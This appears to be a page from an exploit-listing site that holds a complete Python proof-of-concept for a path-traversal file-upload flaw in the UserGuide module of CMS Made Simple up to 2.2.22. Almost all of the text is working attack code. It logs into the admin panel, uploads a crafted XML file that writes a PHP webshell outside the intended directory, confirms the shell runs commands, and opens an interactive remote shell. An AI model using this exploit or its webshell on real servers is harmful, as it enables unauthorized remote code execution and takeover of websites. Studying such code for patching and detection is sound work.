5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit.py PY
import requests
import base64
import sys
import re
from urllib.parse import urljoin

class CMSMadeSimpleExploit:
    def __init__(self, base_url, admin_url, username, password):
        self.base_url = base_url.rstrip("/")
        self.admin_url = admin_url.rstrip("/")
        self.username = username
        self.password = password
        self.session = requests.Session()
        self.session.verify = False
        requests.packages.urllib3.disable_warnings()

    def login(self):
        print("[*] Logging into admin panel...")
        login_url = urljoin(self.admin_url, "/login.php")
        response = self.session.get(login_url)
        
        # Get CSRF token if present
        csrf_match = re.search(r'name="__csrf_token"\s*value="([^"]+)"', response.text)
        csrf_token = csrf_match.group(1) if csrf_match else ""
        
        login_data = {
            "username": self.username,
            "password": self.password,
            "logintoken": csrf_token,
            "submit": "Login"
        }
        
        headers = {
            "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0",
            "Content-Type": "application/x-www-form-urlencoded"
        }
        
        response = self.session.post(login_url, data=login_data, headers=headers, allow_redirects=True)
        
        if "logout" in response.text.lower() or "admin" in response.url:
            print("[+] Login successful")
            return True
        else:
            print("[-] Login failed")
            return False

    def generate_malicious_xml(self, upload_path, php_code):
        encoded_code = base64.b64encode(php_code.encode()).decode()
        
        xml_content = f"""<?xml version="1.0" encoding="UTF-8"?>
<modulecontent>
  <module>UserGuide</module>
  <version>1.3</version>
  <files>
    <file>
      <filename>{upload_path}</filename>
      <isdir>0</isdir>
      <data>{encoded_code}</data>
    </file>
  </files>
</modulecontent>"""
        return xml_content

    def exploit(self, upload_path, php_code="", webshell_name="cmd"):
        if not php_code:
            php_code = f"""<?php
if(isset($_REQUEST['cmd'])){{ 
    echo "<pre>" . shell_exec($_REQUEST['cmd']) . "</pre>";
}}
?>"""
        
        print("[*] Creating malicious XML payload...")
        xml_payload = self.generate_malicious_xml(upload_path, php_code)
        
        # First get the import page to grab any tokens
        import_url = urljoin(self.admin_url, "/moduleinterface.php?module=UserGuide&action=import")
        response = self.session.get(import_url)
        
        csrf_match = re.search(r'name="__csrf_token"\s*value="([^"]+)"', response.text)
        csrf_token = csrf_match.group(1) if csrf_match else ""
        
        print("[*] Uploading malicious XML file...")
        
        files = {
            "m1_input_file": ("exploit.xml", xml_payload, "text/xml")
        }
        
        post_data = {
            "m1_submit": "Import"
        }
        
        if csrf_token:
            post_data["__csrf_token"] = csrf_token
        
        upload_response = self.session.post(import_url, files=files, data=post_data)
        
        if upload_response.status_code == 200 and "success" in upload_response.text.lower():
            print(f"[+] File uploaded successfully via path traversal!")
        else:
            print(f"[?] Upload response code: {upload_response.status_code}")
            print("[*] Checking if webshell was written anyway...")
        
        # Extract just the filename for the webshell URL
        shell_filename = upload_path.split("/")[-1]
        shell_url = urljoin(self.base_url, f"/{shell_filename}")
        
        print(f"\n[*] Trying to access webshell at: {shell_url}")
        
        test_response = self.session.get(shell_url, params={"cmd": "id"})
        
        if test_response.status_code == 200 and "uid=" in test_response.text:
            print(f"[+] Webshell is alive!")
            print(f"[+] Command output: {test_response.text.strip()}")
            return shell_url
        else:
            print("[-] Could not verify webshell at expected location")
            print("[*] Try common CMS Made Simple paths:")
            
            alternative_paths = [
                urljoin(self.base_url, f"/uploads/{shell_filename}"),
                urljoin(self.base_url, f"/tmp/{shell_filename}"),
                urljoin(self.admin_url, f"/{shell_filename}"),
            ]
            
            for alt_url in alternative_paths:
                alt_response = self.session.get(alt_url, params={"cmd": "id"})
                if "uid=" in alt_response.text:
                    print(f"[+] Found webshell at: {alt_url}")
                    return alt_url
            
            return None

    def interactive_shell(self, shell_url):
        print("\n[*] Interactive shell mode. Type 'exit' to quit.")
        while True:
            try:
                cmd = input("$ ")
                if cmd.lower() in ["exit", "quit"]:
                    break
                response = self.session.get(shell_url, params={"cmd": cmd})
                print(response.text)
            except KeyboardInterrupt:
                break
            except Exception as e:
                print(f"[-] Error: {e}")


if __name__ == "__main__":
    print("""
    CMS Made Simple <= 2.2.22 - UserGuide Module RCE
    Path Traversal / Arbitrary File Upload Exploit
    ==================================================
    """)
    
    if len(sys.argv) < 5:
        print("Usage: python exploit.py <base_url> <admin_url> <username> <password> [upload_path]")
        print("")
        print("Examples:")
        print("  python exploit.py http://target.com http://target.com/admin admin password123")
        print("  python exploit.py http://target.com http://target.com/admin admin password123 ../../../../../../var/www/html/backdoor.php")
        print("")
        sys.exit(1)
    
    base_url = sys.argv[1]
    admin_url = sys.argv[2]
    username = sys.argv[3]
    password = sys.argv[4]
    
    upload_path = "../../../../../../var/www/html/shell.php"
    if len(sys.argv) > 5:
        upload_path = sys.argv[5]
    
    exploit = CMSMadeSimpleExploit(base_url, admin_url, username, password)
    
    if not exploit.login():
        sys.exit(1)
    
    shell_url = exploit.exploit(upload_path)
    
    if shell_url:
        print("\n[+] Exploit successful! Starting interactive shell...")
        exploit.interactive_shell(shell_url)